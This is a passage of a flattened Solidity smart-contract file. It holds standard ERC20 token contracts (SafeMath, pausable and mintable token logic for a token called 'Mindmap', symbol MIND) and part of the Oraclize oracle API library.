operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is Ownable, PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = "Mindmap"; string public constant symbol = "MIND"; uint8 public constant decimals = 18; // 18 is the most common number of decimal places bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: oraclizeAPI.sol // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.4.1 <=0.4.20;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint capacity) internal constant { if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private constant { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private constant returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Reverts if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal constant returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal constant { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Reverts if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function shl8(uint8 x, uint8 y) private constant returns (uint8) { return x * (2 ** y); } function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant { if(value <= 23) { buf.append(uint8(shl8(major, 5) | value)); } else if(value <= 0xFF) { buf.append(uint8(shl8(major, 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8(shl8(major, 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant { buf.append(uint8(shl8(major, 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal constant { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal constant { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal constant { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory 